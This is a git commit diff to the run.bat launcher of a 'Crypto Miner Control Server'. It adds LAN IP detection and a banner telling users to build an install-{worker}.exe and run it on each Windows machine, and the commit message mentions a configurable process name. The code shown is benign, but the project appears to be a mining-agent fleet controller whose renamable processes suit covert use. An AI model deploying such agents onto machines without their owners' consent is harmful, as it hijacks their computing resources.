Upgrade dashboard, builder, and agent resource controls.
Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
This commit is contained in:
16
run.bat
16
run.bat
@@ -166,20 +166,26 @@ echo Server built: bin\miner-server.exe
|
||||
:: ============================================================
|
||||
echo [5/5] Starting server on port 8989...
|
||||
echo.
|
||||
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 ^| Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } ^| Select-Object -First 1 -ExpandProperty IPAddress)"`) do set LAN_IP=%%I
|
||||
if not defined LAN_IP set LAN_IP=localhost
|
||||
echo.
|
||||
echo ╔══════════════════════════════════════════════════╗
|
||||
echo ║ Crypto Miner Control Server ║
|
||||
echo ║ ║
|
||||
echo ║ Dashboard: http://localhost:8989 ║
|
||||
echo ║ WebSocket: ws://localhost:8989/ws/agent ║
|
||||
echo ║ Dashboard: http://%LAN_IP%:8989 ║
|
||||
echo ║ Local: http://localhost:8989 ║
|
||||
echo ║ WebSocket: ws://%LAN_IP%:8989/ws/agent ║
|
||||
echo ║ ║
|
||||
echo ║ Data: %CD%\data\ ║
|
||||
echo ║ Config: %CD%\data\config.json ║
|
||||
echo ║ 1. Open dashboard on your LAN ║
|
||||
echo ║ 2. Configure Settings ║
|
||||
echo ║ 3. Build install-{worker}.exe in Builder ║
|
||||
echo ║ 4. Run that exe once on each Windows machine ║
|
||||
echo ║ ║
|
||||
echo ║ Data: %CD%\data\ ║
|
||||
echo ║ Press Ctrl+C to stop the server ║
|
||||
echo ╚══════════════════════════════════════════════════╝
|
||||
echo.
|
||||
|
||||
:: Launch browser
|
||||
start http://localhost:8989
|
||||
|
||||
:: Run server
|
||||
|
||||
Reference in New Issue
Block a user